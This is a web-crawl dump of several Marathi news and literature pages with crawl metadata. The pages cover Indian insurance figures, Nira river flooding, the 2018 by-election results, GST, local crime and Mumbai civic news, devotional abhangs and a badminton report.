इंडिया (आयआरडीआय) च्या माहिती आधारे या चारही संस्थांचा नफा मागील वर्षापेक्षा कमी असला तरी यंदा पण त्या नफ्यातच आहेत.\nआरोग्य विमा आणि वाहन विमा योजनेत नुकसान भरपाईची टक्केवारी 98.43 आणि 81.18 अशी अनुक्रमे आहे. यातील वाहन विम्याच्या नुकसानभरपाईची टक्केवारी मागील वषीच्या सरासरी (77.14) पेक्षा जास्त आहे. यामुळे विमाधारकांना नुकसानभरपाई देण्याच्या रकमेत वाढ होऊन जी 2014-15 साली रु. 10576 कोटी होती तीच 2015-16 साली रु. 14,962 कोटी झाली. टक्क्मयामध्ये हे प्रमाण 41.47 नी वाढल्याचे दाखवते. सार्वजनिक क्षेत्रातील विमा कंपन्यांचे विमानुकसानीचे प्रमाण 54.42 टक्क्यांनी वाढले असून 2014 सालच्या रु. 7019 वरून 2015-16 साली ते रु. 10839 वर आले आहे.\nसेन्सेक्सची पहिल्यांदाच 31,300 वर मजल\n‘अमिताभ’ जीएसटीचे नवीन सदिच्छादूत\n2020 पर्यंत लॉजिस्टीक बाजार 215 अब्जचा अंदाज\nआरकॉमकडून जिओला फायबर संपत्तीची विक्री\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00402.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%A8%E0%A5%80%E0%A4%B0-%E0%A4%A8%E0%A4%A6%E0%A5%80-%E0%A4%A6%E0%A5%81%E0%A4%A5%E0%A4%A1%E0%A5%80/", "date_download": "2018-09-25T17:16:56Z", "digest": "sha1:5TSTFZ5TM2N2FKFTFCHMWFCKSXKM6D45", "length": 9998, "nlines": 130, "source_domain": "www.dainikprabhat.com", "title": "नीर नदी दुथडी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nनिमसाखर- सध्या भाटघर, नीरा देवघर धरण क्षेत्रात मोठ्या प्रमाणात पाऊस होत असल्याने धरणे तुडुंब भरली आहेत. त्यामुळे या दोन्ही धरणातून नीरा नदीत पाणी सोडण्यात येत असल्याने वीर धरणही “फुल्ल’ झाले आहे. त्यामुळे या धरणातूनही नीरा नदी पात्रात पाण्याचा विसर्ग मोठ्या प्रमाणात करण्यात आला आहे. त्यामुळे नीरा नदी दुथडी भरून वाहत आहे. मात्र, सोलापूर जिल्ह्यातील बांगर्डे व पुणे जिल्ह्यातील निमसाखर या गावांना जोडण्यासाठी या ठिकाणी पूल नसल्याने नागरिकांना विविध अडचणींना सामोरे जावे लागत आहे.\nनिमसाखर हे मोठी लोकसंख्या असलेले गाव असून या गावापासून एक किलोमिटर अंतरावर बांगार्डे (ता. माळशिरस, जि. सोलापूर) गाव आहे. या ठिकाणी बऱ्याच सोयी सुविधांचा अभाव असल्यामुळे दळवळणाचे गाव म्हणून निमसाखरकडे पाहिले जाते. निमसाखर गावामध्ये अंगणवाडी, पहिली पासून ते बारावी पर्यंत शिक्षण मिळते त्यामुळे बांगार्डे गावातून या शिक्षण संकुलामध्ये मोठ्या प्रमाणावर विद्यार्थी येत असतात. मात्र, या दोन गावांमध्ये नीरा नदीचे पात्र आहे मात्र जवळचे जरी अंतर असले तरी पावसाळ्यात नागरिक व विद्यार्थ्यांचे मोठे हाल होतात. पावसाळ्यात नदीत जादा वाहते पाणी असल्यास या ठिकाणी सुरक्षेतेच्या दृष्टीकोनातून होडी चालक होडी सोडत नाहीत. स्थिर पाण्यात होडीच्या माध्यमातून या गावातील नागरीक व विद्यार्थी ये-जा करीत असतात. मात्र, सध्या होड्या ही बंद असल्याने शिक्षणासाठी बांगर्डे व चव्हाणवाडी परिसरातून निमसाखर, कळंब, वालचंदनगर, बारामती या भागात जाणाऱ्या विद्यार्थ्यांना अडचणींना सामोरे जावे लागत असून त्यांचे शैक्षणिक नुकसान होत आहे. तर नागरिकांना ही अशाच प्रकारच्या समस्यांना सामोरे जावे लागत आहे. त्याचप्रमाणे निमसाखर, निरवांगी, घोरपडवाडीसह इंदापूर तालुक्‍यातील नागरिकांना ही नातेपुते, सदाशिवनगर, माळशिरस भागात जाण्यासाठी हा अत्यंत जवळचा मार्ग आहे. यामुळे निमसाखर-बांगार्डे दरम्यान पूल झाल्यास दोन जिल्ह्यांना जोडणारा मोठा दुवा निर्माण होऊन दळण-वळणात मोठ्या प्रमाणात वाढ होणार आहे.\nफक्‍त फाईलींवर फाईली आल्या…\nगेल्या अनेक वर्षांपासून या ठिकाणी पुलाची मागणी आहे. दोन जिल्ह्यांना जोडणारा पूल याठिकाणी करण्यात येइल या आशेवर दोन पिढ्या गेल्या मात्र, अद्यापही या ठिकाणच्या समस्या सुटल्याच नाही. या पुलासाठी अनेक वर्षांपासून बांगार्डेकरांनी अनेक पुढाऱ्यांचे उबरठे झिजवले. फाईलींवर फाईली झाल्या, खर्च झाला. याचबरोबर अधिकारी आमदार, खासदार असो की मंत्री-संत्री सगळ्यांना हात जोडुन झाले विनंती झाल्या अन्‌ लाला, हिरव्या रंगबेरंगी सह्या, चिठ्ठ्या चपाट्या झाल्या. मात्र, आज तागायत पुलासाठी पाहणी सुद्धा झाली नसल्याची चर्चा आहे.\nनीरा नदी : निमसाखर येथे दुथडी भरून वाहणारे नदीचेपात्र.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleप्रथम क्रमांकाच्या विद्यार्थ्यांची जिल्हास्तरीय स्पर्धेसाठी निवड\nNext articleनवलेवाडीतील तरुणांनी दिले हरणाला जीवदान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00403.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/National/Uttar-Pradesh-and-Bihar-Election-Results-2018-Gorakhpur-Phulpur-Araria-Lok-Sabha-Seats/", "date_download": "2018-09-25T17:51:11Z", "digest": "sha1:44P5YL4W3QJXPCWJJRZ5HJGDSUZ27P43", "length": 8227, "nlines": 41, "source_domain": "www.pudhari.news", "title": " भाजपला तिहेरी धक्‍का | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › National › भाजपला तिहेरी धक्‍का\nलखनौ/ पटणा : वृत्तसंस्था\nउत्तर प्रदेशातील दोन आणि बिहारमधील एका लोकसभेच्या पोटनिवडणुकीत भाजपला पराभवाचा तिहेरी धक्‍का बसला असून, 29 वर्षांपासून भाजपचा बालेकिल्‍ला असलेली गोरखपूर येथील जागा भाजपने गमावली आहे. त्याशिवाय फूलपूर आणि बिहारमधील अरारिया येथेही भाजपच्या उमेदवाराचा पराभव झाला. त्रिपुरा विधानसभा निवडणुकीतील ऐतिहासिक विजयानंतर भाजपला ही पोटनिवडणूक सोपी जाईल, असे वाटत होते. मात्र, समाजवादी पक्ष आणि बहुजन समाजवादी पक्ष यांच्यातील युतीने उत्तर प्रदेशात नवीन राजकीय समीकरणे तयार झाल्याने भाजपला पराभव सहन करावा लागला. बिहारमध्ये नितीशकुमार यांनी भाजपशी हातमिळवणी केल्यानंतर झालेल्या पहिल्या निवडणुकीतही भाजपचा पराभव झाला.\nगेल्या 29 वर्षांपासून भाजपचा गड असलेल्या आणि मुख्यमंत्री योगी आदित्यनाथ यांनी सलग पाचवेळा विजय मिळवलेल्या गोरखपूरमध्ये समाजवादी पक्षाच्या प्रवीण निषाद यांनी भाजपच्या उपेंद्र दत्त शुक्‍ला यांचा 21 हजार 961 मतांनी पराभव केला. 1989 पासून ही जागा भाजपकडेच होती. 2014 च्या लोकसभा निवडणुकीत उपमुख्यमंत्री केशवप्रसाद मौर्य यांनी विजय मिळवलेली फूलपूरची जागाही सपने आपल्याकडे खेचली आहे. या ठिकाणी नागेंद्रप्रसाद सिंग पटेल यांनी कौशलेंद्रसिंग पटेल यांचा 59 हजार 460 मतांनी पराभव केला.\nलालूप्रसाद यादव यांच्या राजदने अरारिया मतदार संघात विजय मिळवला. सरफराज आलम यांनी भाजपच्या प्रदीपकुमारसिंग यांचा 60 हजारांहून अधिक मतांनी पराभव केला आहे. जेडीयू-भाजप आघाडीसाठी हा मोठा धक्‍का मानला जात आहे. भाजपला थोडफार दिलासा म्हणजे भभुवा या छोट्या मतदार संघात रिकी राणी पांडे यांनी काँग्रेसच्या उमेदवाराचा पराभव करून जागा आपल्याकडे राखली.\nगोरखपूरमध्ये अखिलेश यादव यांच्या सपच्या उमेदवाराला पाठिंबा देताना मायावती यांच्या बसपाने आपला उमेदवार उभा केला नव्हता. त्यामुळे ओबीसी-दलित आणि मुस्लिम मताची विभागणी टळली आणि त्याचा फटका भाजपला बसला. विशेषत: गोरखपूरमधील सप-बसपा युती नव्या राजकीय समीकरणांची नांदी समजली जात आहे. समाजवादी पक्षाला बसपाची साथ लाभली होती. भाजपचा पराभव करण्यासाठी अनेक वर्षांची राजकीय कटुता विसरून सप-बसपा एकत्र आले होते.\n“अतिआत्मविश्‍वास आम्हाला भोवला. समाजवादी पक्ष आणि बहुजन समाजवादी पक्ष यांच्यातील युतीचा परिणाम ओळखण्यास आम्हाला अपयश आले. या पराभवानंतर सखोल विश्‍लेषण केले जाईल.”\n- योगी आदित्यनाथ, उ. प्रदेश मुख्यमंत्री\n“मायावती यांनी आमच्या उमेदवाराला पाठिंबा दिल्याबद्दल त्यांचे आभार. मुख्यमंत्री आणि उपमुख्यमंत्र्यांच्या मतदार संघातच जनता नाराज असेल, तर लोकसभेच्या निवडणुकीत काय चित्र असेल, याची कल्पना करा.”\n- अखिलेश यादव, माजी मुख्यमंत्री\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00403.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/national/gst-completes-1-month-266347.html", "date_download": "2018-09-25T16:48:46Z", "digest": "sha1:UHN64PNDJNMLLVI43ZIPKBVSA656ELGG", "length": 12544, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "जीएसटीला एक महिना पूर्ण; या महिन्यात आढावा बैठक", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nजीएसटीला एक महिना पूर्ण; या महिन्यात आढावा बैठक\nजीएसटी परिषदेच्या या प्रस्तावित बैठकीमध्ये आतापर्यंत विविध वस्तू आणि सेवा यांच्यावरील जीएसटीच्या दरांचाही आढावा घेण्यात येणार आहे.\n1 ऑगस्ट : वस्तू आणि सेवा कर म्हणजे जीएसटी 1 जुलैला लागू झाला. त्याला आज एक महिना पूर्ण झाला. केंद्र सरकारच्या या महत्त्वाकांक्षी करप्रणालीला संमिश्र प्रतिसाद मिळाला आहे.\nदेशभरातल्या 12 लाखांहून अधिक छोट्या व्यावसायिकांनी जीएसटीमध्ये नव्याने नोंदणी करण्यासाठी अर्ज केले आहेत. तसंच जीएसटी लागू झाल्यानंतर विविध उद्योगांच्या क्षेत्रनिहाय संघटनांनी करविषयक प्रश्न सरकार दरबारी मांडले आहेत. त्या सर्वांचा एकत्रित विचार करण्याचं जीएसटी परिषदेने ठरवलं आहे.\nजीएसटी परिषदेची बैठक या महिन्यात होणार असल्याची शक्यता आहे. जीएसटी परिषदेच्या या प्रस्तावित बैठकीमध्ये आतापर्यंत विविध वस्तू आणि सेवा यांच्यावरील जीएसटीच्या दरांचाही आढावा घेण्यात येणार आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00403.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Husband-Murder-Wife-In-Hadapsar-Pune/", "date_download": "2018-09-25T16:58:00Z", "digest": "sha1:TJTOKIUR52AW6WAIJVUJJKNHEM5HF7BM", "length": 3578, "nlines": 34, "source_domain": "www.pudhari.news", "title": " हडपसरमध्ये किरकोळ कारणास्तव पतीकडून पत्नीचा खून | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › हडपसरमध्ये किरकोळ कारणास्तव पतीकडून पत्नीचा खून\nपुणे: किरकोळ कारणास्तव पतीकडून पत्नीचा खून\nकौटुंबिक वादातून पतीने पत्नीचा खून केल्याची घटना हडपसर येथे समोर आली आहे. हडपसर पोलिसांनी पतीला ताब्यात घेतले आहे. किरकोळ कारणास्तव दोघांच्यात वाद झाल्याचेही बोलले जात आहे. दोघांच्यातील वादाचे नक्की कारण अद्याप समजू शकलेले नाही.\nरेणुका संजय पवार असे खून झालेल्या महिलेचे नाव आहे. याप्रकरणी पत्नी संजय अर्जुन पवार याला पोलिसांनी ताब्यात घेतले आहे. पत्नीच्या डोक्यात जड वस्तूने प्रहार करून तिची हत्या करण्यात आल्याचा प्राथमिक अंदाज पोलिसांनी वर्तवला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00404.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/tag/mum-app", "date_download": "2018-09-25T17:15:35Z", "digest": "sha1:TIDAPNJOMBRNC4MSVWKWDJ77QLME7V7B", "length": 9710, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "MUM-APP Archives - तरुण भारत | तरुण भारत", "raw_content": "\nबँकिंगच्या विद्यार्थ्यांसाठी नवे दालन\nविद्यापीठाचा बँक ऑफ महाराष्ट्रशी सामंजस्य करार मुंबई / प्रतिनिधी मुंबई विद्यापीठाचे विजयालक्ष्मी विश्वनाथ दळवी आदर्श महाविद्यालय तळेरे, सिंधुदूर्ग आणि बँक ऑफ महाराष्ट्र, पुणे यांच्यात बी.कॉम (बँकिंग अँड इन्शुरन्स) या अभ्यासक्रमासाठी गुरुवारी सामंजस्य करार करण्यात आला. या करारान्वये बँकिंग अँड इन्शुरन्स आणि अकाऊंटन्सी अँड फायनान्स या अभ्यासक्रमाच्या विद्यार्थ्यांसाठी शिक्षणाचे नवे दालन खुले करण्यात आले. मुंबई मेट्रो रेल कॉर्पोरेशनच्या व्यवस्थापकीय संचालिका ...Full Article\nरस्त्यांवरील खड्डय़ांबाबत मनसे आक्रमक\n10 दिवसात खड्डे बुजवा अन्यथा अधिकाऱयांना खड्डय़ात बसविण्याचा इशारा कल्याण / प्रतिनिधी महापालिका प्रशासनाने गणेशोत्सवापूर्वी खड्डे बुजवण्यात येणार असल्याचा दावा केला असला तरी आजही रस्त्यावरील खड्डे बुजवण्याचे काम कासवगतीने ...Full Article\nभुयारी मेट्रोला दहशतवादी हल्ल्याचा धोका\nएमएमआरडीचा उच्च न्यायालयात अजब दावा मुंबई / प्रतिनिधी ‘मेट्रो-2 बी’ या प्रकल्पातील मेट्रोची मार्गिका ठरवताना स्थानिक रहिवाशांशी चर्चा करणे गरजेचे नाही. कायद्यानुसार आम्हाला अंतिम निर्णय घेण्याचा अधिकार आहे. मात्र, ...Full Article\nमल्ल्याला देणार कसाबची कोठडी\nवातानुकूलित बराकीसह आर्थर रोड कारागफहात रंगरंगोटीचे काम सुरू मुंबई / प्रतिनिधी देशांतील बँकांना कोटय़वधींचा गंडा घालणाऱया विजय मल्ल्यासाठी 26/11 हल्ल्यातील दहशतवादी अजमल कसाबची कोठडी सज्ज झाली आहे. इंग्लंडहून लवकरात ...Full Article\nऍट्रोसिटी कायद्याच्या अंमलबजावणीसाठी 6 स्वतंत्र विशेष न्यायालये\nउच्चाधिकार दक्षता आणि सनियंत्रण समितीची आढावा बैठक संपन्न राज्यात ऍट्रॉसिटीचे खटले चालविण्यासाठी औरंगाबाद, नागपूर, अमरावती आणि ठाणे येथे स्वतंत्र विशेष न्यायालये सुरू करण्यात आली आहेत. पुणे, नाशिकचेही काम गतीने ...Full Article\nम्हाडाच्या घोटाळेबाज अभियंत्यांचे काय\nचौकशी उपमुख्य अभियंत्याच्या हातात; 37 कंत्राटदार काळ्या यादीत प्रकरण मुंबई / प्रतिनिधी 37 घोटाळेबाज कंत्रादारांना म्हाडाने कायमस्वरुपी काळ्या यादीत टाकत या कंत्राटदारांवर मेहेरनजर दाखविणाऱया झोपु सुधार मंडळातील अभियंत्याची चौकशी ...Full Article\nपालिका अधिकाऱयांवर गुन्हे दाखल करा\nविरोधी पक्षनेते राधाकृष्ण विखे-पाटील यांची मागणी क्रिस्टल टॉवर अग्निकांड प्रकरण मुंबई / प्रतिनिधी परळच्या क्रिस्टल टॉवरला लागलेल्या आगीच्या घटनेचे गांभीर्य लक्षात घेऊन संबंधित बिल्डरसह महापालिकेतील दोषी अधिकाऱयांच्या विरोधात सदोष ...Full Article\nदेहू, पंढरपूरच्या विकासाला चालना\nतिर्थक्षेत्र विकासासाठी 212 कोटीचा निधी विकास कामांना गती द्या : मुख्यमंत्री मुख्यमंत्र्यांच्या अध्यक्षतेखाली शिखर समिती बैठक मुंबई / प्रतिनिधी देहू, आळंदी आणि पंढरपूरच्या विकासासाठी यावर्षी नव्याने 212 कोटी रुपये ...Full Article\nमुंबई विद्यापीठाच्या विद्यार्थ्यांना ऑनलाइन सुविधा\nमोबाईल ऍप सुरू; प्रवेशापासून निकालापर्यंत माहिती उपलब्ध होणार मुंबई / प्रतिनिधी मुंबई विद्यापीठाच्या पहिल्या टप्प्यात 6 लाख विद्यार्थी आणि 791 महाविद्यालयांना जलद संवादाचे माध्यम म्हणून विद्यापीठाच्या मोबाईल ऍपचे उद्घाटन ...Full Article\nराणीच्या बागेत स्वातंत्र्यदिनी जन्मलेले पिल्लू केवळ आठ दिवस जिवंत मुंबई / प्रतिनिधी राणीच्या बागेतील पेंग्विन कक्षात 15 ऑगस्ट म्हणजे स्वातंत्र्यदिनाच्या रात्री सुमारास जन्मलेल्या नवीन भिडूचा यकृतामधील दोषामुळे केवळ आठ ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00404.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.transliteral.org/pages/z150407045250/view", "date_download": "2018-09-25T17:25:09Z", "digest": "sha1:GQQZV3O6STCBYJHK5AWVETQOWAOJB36Z", "length": 16982, "nlines": 310, "source_domain": "www.transliteral.org", "title": "भास्कर कवीश्वर", "raw_content": "\nजर सर्व प्राण्य़ांचा आत्मा एकच असेल तर प्राणी पक्ष्यांची भुते होतात काय\nमराठी मुख्य सूची|मराठी साहित्य|अभंग संग्रह आणि पदे|\nअभंग संग्रह आणि पदे\nमहाराष्ट्र सारस्वत दासोपंताची पदे\nश्री कल्याणांचीं स्फुट प्रकरणें\nसंत कान्होबा महाराजांचे अभंग\nश्री मुकुंदराज महाराज बांदकर\nश्री निरंजन रघुनाथांचे ग्रंथ\nसात वारांचे अभंग,पद व भजन\nसंत तुकाराम अप्रसिद्ध अभंग\nपंडित नारायण व्यास बहाळिये\nपंडित नारायण व्यास बहाळिये\nपंडित नारायण व्यास बहाळिये\nपंडित नारायण व्यास बहाळिये\nसंत जोगा परमानंदाचे अभंग\nसंत जगमित्र नागाचे अभंग\nसंत जनाबाईचे अप्रकाशित अभंग संहिता\nसंत सखूबाई यांचे पद\nसंत श्रीमुक्ताबाईचे अप्रसिद्ध अभंग\nसंत श्रीसंताजीमहाराज जगनाडे अभंग\n' अभंग ' म्हणजे संतकवींनी समाजजागृतीसाठी केलेल्या रसाळ रचना.\nकीं चंद्रें मूळ पाठविलें \n तर लोहासी झरा फुटे \nना तर देखोनि रविमंडळ \nतैसा सुवर्म जोडे श्रोता तर रसभावीं फुले कविता \n कोकिळांची तराय मोढी ॥\nतें रंग माधुर्य शिकवी \n वरी दिजे संध्यारागाचें रावण \n ब्रम्हाविद्येची फुलें दिसती फांकते \n कवण न तोडी ॥\n कवण न लवी ॥\n कवण न बंधे ॥\nर्नत्यद्बिर्वजसुंदरीभिरमित: कृष्णो वृत: पातु व: ॥\nपु. विधीचा व तथ्याचा संमिश्र प्रश्न\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00404.warc.wet.gz", "language": "mr", "language_score": 0.62, "bucket": "all"} {"url": "https://mahasports.co.in/kidambi-srikanth-cruises-into-the-quarterfinals-of-the-world-badminton-championships/", "date_download": "2018-09-25T17:01:58Z", "digest": "sha1:RPFTPCO73C2FYEJHG37ADM3OAS4MUMGY", "length": 7431, "nlines": 59, "source_domain": "mahasports.co.in", "title": "जागतीक बॅडमिंटन स्पर्धा: किदांबी श्रीकांत उपांत्यपूर्व फेरीत -", "raw_content": "\nजागतीक बॅडमिंटन स्पर्धा: किदांबी श्रीकांत उपांत्यपूर्व फेरीत\nजागतीक बॅडमिंटन स्पर्धा: किदांबी श्रीकांत उपांत्यपूर्व फेरीत\nभारताचा आघाडीचा पुरुष एकेरीचा बॅटमिंटनपटू श्रीकांत किदांबी याने जागतिक बॅडमिंटन स्पर्धेत डेन्मार्कच्या अँडर्स अँटोन्सेन याचा २१-१४,२१-१८ असा पराभव करत उपांत्यपूर्वफेरीत प्रवेश केला.\nपहिल्या सेटमध्ये दोन्ही खेळाडूंकडून संयमी खेळ झाला. दोन्ही खेळाडू ४-४ अश्या बरोबरीत होते. त्यानंतर किदांबीने खेळ उंचावला आणि आघाडी ११-६ अशी केली. डेन्मार्कच्या खेळाडूने खेळात परतण्याचे संकेत देत गुणसंख्या १०-१३ अशी केली. किदांबी तीन गुणाने आघाडीवर होता. किदांबीने खेळण्याच्या शैलीत थोडा बदल करून आक्रमक पवित्र घेत विरोधी खेळाडूला संधी दिली नाही. पहिला सेट २१-१४ असा आपल्या नावे केला.\nकिदांबी दुसऱ्या सेटमध्ये सुरुवातीपासून डेन्मार्कच्या खेळाडूवर 